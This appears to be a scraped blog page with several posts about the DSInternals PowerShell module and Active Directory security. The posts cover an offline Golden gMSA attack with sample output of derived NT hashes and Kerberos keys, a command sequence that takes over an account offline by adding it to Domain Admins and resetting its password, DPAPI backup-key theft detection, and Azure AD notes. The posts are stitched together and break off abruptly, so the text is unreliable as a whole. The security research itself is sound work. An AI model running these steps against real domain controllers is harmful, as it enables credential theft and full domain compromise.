Directory Services Internals Blog

Oct 1, 2023 Michael Grafnetter
New Offline Capabilities in DSInternals 4.11

Introduction

The recently released DSInternals PowerShell Module contains two new cmdlets for offline ntds.dit file access, Get-ADDBServiceAccount and Unlock-ADDBAccount. This article will guide you through the newly added capabilities.

Golden gMSA Attack with Time Shifting

The Get-ADDBServiceAccount cmdlet reads all Group Managed Service Accounts (gMSAs) from an Active Directory (AD) database backup (the ntds.dit file) first, then it combines them with KDS Root Keys and finally calculates the managed passwords and their hashes. In other words, this cmdlet performs a fully offline Golden gMSA Attack, against which most companies do not protect themselves.

Usage of this cmdlet is pretty straightforward:
```
Get-ADDBServiceAccount -DatabasePath '.\ADBackup\ntds.dit'
```
Here is a sample output of this cmdlet:
```
DistinguishedName: CN=svc_adfs,CN=Managed Service Accounts,DC=contoso,DC=com
Sid: S-1-5-21-2468531440-3719951020-3687476655-1109
Guid: 53c845f7-d9cd-471b-a364-e733641dcc86
SamAccountName: svc_adfs$
Description: ADFS Service Account
Enabled: True
Deleted: False
UserAccountControl: WorkstationAccount
SupportedEncryptionTypes: RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96
ServicePrincipalName: {http/login.contoso.com, host/login.contoso.com}
WhenCreated: 9/9/2023 5:02:05 PM
PasswordLastSet: 9/9/2023 5:02:06 PM
ManagedPasswordInterval: 30
ManagedPasswordId: RootKey=7dc95c96-fa85-183a-dff5-f70696bf0b11, Cycle=9/9/2023 10:00:00 AM (L0=361, L1=26, L2=24)
ManagedPasswordPreviousId:
KDS Derived Secrets
  NTHash: 0b5fbfb646dd7bce4f160ad69edb86ba
  Kerberos Keys
    AES256_CTS_HMAC_SHA1_96
      Key: 5dcc418cd0a30453b267e6e5b158be4b4d80d23fd72a6ae4d5bd07f023517117
      Iterations: 4096
    AES128_CTS_HMAC_SHA1_96
      Key: 8e1e66438a15d764ae2242eefd15e09a
      Iterations: 4096
```
Note that the KDS Derived Secrets section was calculated by the cmdlet.

As a result, the Golden gMSA attack provides a stepping stone to some other nasty online attacks against the NTLM and Kerberos authentication protocols, including Pass-the-Hash, Pass-the-Key, Overpass-the-Hash, and Silver Ticket attacks.

Offline User Account Unlock

The addition of the Unlock-ADDBAccount cmdlet completes the holistic capability of the DSInternals PowerShell module to perform offline user account takeovers. With access to a hard drive of a Domain Controller (DC), it is now possible to pick any pre-existing user account, even a disabled one, and to simply reset its password, enable it, unlock it, and add it to the Domain Admins group. Thanks to the common -SkipMetaUpdate parameter, it is even possible to either keep the changes local to the target DC or to replicate them to all the other DCs.

Here is an example of an end-to-end approach:
```
Unlock-ADDBAccount -SamAccountName john -DatabasePath 'D:\Windows\NTDS\ntds.dit'
Enable-ADDBAccount -SamAccountName john -DatabasePath 'D:\Windows\NTDS\ntds.dit'
Set-ADDBPrimaryGroup -SamAccountName john -PrimaryGroupId 512 -DatabasePath 'D:\Windows\NTDS\ntds.dit'

$pass = Read-Host -AsSecureString -Prompt 'Provide a new password for user john'
$key = Get-BootKey -OfflineHiveFilePath 'D:\Windows\System32\config\SYSTEM'
Set-ADDBAccountPassword -SamAccountName john `
                        -NewPassword $pass `
                        -DatabasePath 'D:\Windows\NTDS\ntds.dit' `
                        -BootKey $key
```
Disclaimer

Remember that features exposed through these tools are not supported by Microsoft. Improper use might cause irreversible damage to domain controllers or negatively impact domain security.

Jul 31, 2023 Michael Grafnetter

Detecting DPAPI Backup Key Theft

Introduction

The Data Protection API (DPAPI) in Windows is used to encrypt passwords saved by browsers, certificate private keys, and other sensitive data. Domain controllers (DCs) hold backup master keys that can be used to decrypt all such secrets encrypted with DPAPI on domain-joined computers. These backup keys are stored as self-signed certificates in Active Directory (AD) objects of type secret called BCKUPKEY_*:

DPAPI Backup Key Screenshot

DPAPI Backup Key Location in Active Directory Screenshot

Attackers with sufficient permissions can fetch these backup keys from AD through the Local Security Authority (Domain Policy) Remote Protocol (MS-LSAD / LSARPC) and use them to decrypt any secrets protected by DPAPI on all domain-joined Windows machines.

It is therefore important for organizations to be able to detect the theft of DPAPI backup keys from AD by malicious actors. This article describes various ways of discovering this attack technique.

Attack Classification

MITRE ATT&CK® Tactic	Credential Access (TA0006)
MITRE ATT&CK® Technique	Credentials from Password Stores (T1555)
MITRE ATT&CK® Sub-Technique	Unsecured Credentials: Private Keys (T1552.004)
Tenable® Indicator of Attack	DPAPI Domain Backup Key Extraction
Microsoft® Defender for Identity Alert	Malicious request of Data Protection API master key (alert ID 2020)

Detection on Domain Controllers

The most reliable way of detecting this attack technique is to monitor domain controllers for suspicious operations.

Domain Controller Security Event Logs

When a DPAPI backup key is retrieved from a domain controller (DC) through the MS-LSAD protocol, an undocumented event with the following properties is generated on that DC:

Log Name	Security
Event ID	4662
Keywords	Audit Success
Task Category	Other Object Access Events
Object Server	LSA
Object Type	SecretObject
Accesses	Query secret value
Object Name	Policy\Secrets\G$BCKUPKEY_*

Domain controller query secret value event screenshot

Authentication Methods Available in Azure Active Directory

Authentication Method Comparison

Method	PHR	Passwordless	SSPR	Winlogon	RDP (AD)	RDP (AAD)	RADIUS	Mobile	Web	Primary Factor	2^nd Factor
Password Only	❌	❌	✅	✅	✅	✅	✅	✅	✅	✅	❌
FIDO2 Security Key	✅	✅	❌	✅	◐	✅	❌	◐	✅	✅	✅
Microsoft Authenticator (Push)	❌	❌	✅	❌	❌	✅	✅	✅	✅	❌	✅
Microsoft Authenticator (Passwordless)	❌	✅	❌	❌	❌	✅	❌	✅	✅	✅	❌
Windows Hello for Business	✅	✅	❌	✅	◐	✅	❌	❌	✅	✅	❌
Certificate on a Smart Card	✅	✅	❌	✅	✅	✅	✅	◐	✅	✅	✅
Software TOTP Token	❌	❌	✅	❌	❌	✅	✅	✅	✅	❌	✅
Hardware OATH Token	❌	❌	✅	❌	❌	✅	✅	✅	✅	❌	✅
SMS	❌	❌	✅	❌	❌	✅	✅	✅	✅	✅	✅
Temporary Access Pass	❌	❌	❌	✅	◐	✅	❌	✅	✅	✅	❌
Voice Call	❌	❌	✅	❌	❌	✅	✅	✅	✅	❌	✅
Email OTP	❌	❌	✅	❌	❌	✅	❌	✅	✅	✅	❌
Security Questions	❌	❌	✅	❌	❌	❌	❌	❌	❌	❌	❌

Notes

The table does not cover Federated MFA.
RDP to AD-only joined devices with FIDO2 Security Keys, Windows Hello for Business, and Temporary Access Pass only works with the Remote Credential Guard and Restricted Admin features. The Azure AD Kerberos trust is required in some scenarios.
Smart card support depends on the specific OS and HW combination used.
FIDO2 security keys do not work on Android phones yet.
Even though mobile phones do not directly support Windows Hello for Business, it can still be used indirectly in the Microsoft Authenticator app with the OAuth 2.0 device code authentication flow:

Disclaimer

The table might have gotten outdated since it had been created. Feel free to ping me if you discover any errors in it.

Feb 12, 2023 Michael Grafnetter

Registering Claims X-Ray in Azure Active Directory Using PowerShell

Introduction

Most ADFS admins would probably know the Claims X-Ray web application from Microsoft, which can be used to troubleshoot SAML token issuance:

Claims X-Ray UI Screenshot

Although not officially supported, it is also possible to use Claims X-Ray with Azure Active Directory:

Claims X-Ray Application Registration Screenshot

As Microsoft is pushing Azure AD customers to migrate applications from ADFS to AAD, this utility might become more useful than ever.

Claims X-Ray app registration through the Azure AD Portal is pretty straightforward. But what is more challenging, is doing the entire configuration with Microsoft Graph PowerShell SDK. As it took me an entire day to figure out some details, while struggling with several bugs in the PowerShell module, I have decided to publish my solution to this task. With only minor modifications, this guide can be used to register almost any SAML-based application to Azure AD using PowerShell.

App Registration

We will first need to install the Microsoft.Graph.Applications and Microsoft.Graph.Identity.SignIns PowerShell modules, including their dependencies:

Install-Module -Name Microsoft.Graph.Applications,Microsoft.Graph.Identity.SignIns -Scope AllUsers -Force

We can then connect to Azure Active Directory while specifying all permissions required by the registration process:

Connect-MgGraph -Scopes @(
   'Application.ReadWrite.All',
   'AppRoleAssignment.ReadWrite.All',
   'DelegatedPermissionGrant.ReadWrite.All',
   'Policy.Read.All',
   'Policy.ReadWrite.ApplicationConfiguration'
)

We are now ready to register the Claims X-Ray application in Azure AD:

[string] $appName = 'Claims X-Ray'
[string] $appDescription = 'Use the Claims X-ray service to debug and troubleshoot problems with claims issuance.'
[string] $redirectUrl = 'https://adfshelp.microsoft.com/ClaimsXray/TokenResponse'
[hashtable] $infoUrls = @{
    MarketingUrl =        'https://adfshelp.microsoft.com/Tools/ShowTools'
    PrivacyStatementUrl = 'https://privacy.microsoft.com/en-us/privacystatement'
    TermsOfServiceUrl   = 'https://learn.microsoft.com/en-us/legal/mdsa'
    SupportUrl          = 'https://adfshelp.microsoft.com/Feedback/ProvideFeedback'
}

[Microsoft.Graph.PowerShell.Models.IMicrosoftGraphApplication] $registeredApp =
   New-MgApplication -DisplayName $appName `
                     -Description $appDescription `
                     -Web @{ RedirectUris = $redirectUrl } `
                     -DefaultRedirectUri $redirectUrl `
                     -GroupMembershipClaims All `
                     -Info $infoUrls

Cross-Forest Duplicate Password Discovery

The Test-PasswordQuality cmdlet now supports cross-domain and cross-forest duplicate password discovery and offline password hash comparison against HaveIBeenPwned:

$contosoAccounts = Get-ADReplAccount -All -Server $env:LOGONSEVER
$adatumCred = Get-Credential -Message 'Admin credentials for the adatum.com domain:'
$adatumAccounts = Get-ADReplAccount -All -Server 'nyc-dc1.adatum.com' -Credential $adatumCred
$contosoAccounts + $adatumAccounts | Test-PasswordQuality -WeakPasswordHashesSortedFile 'pwned-passwords-ntlm-ordered-by-hash-v5.txt'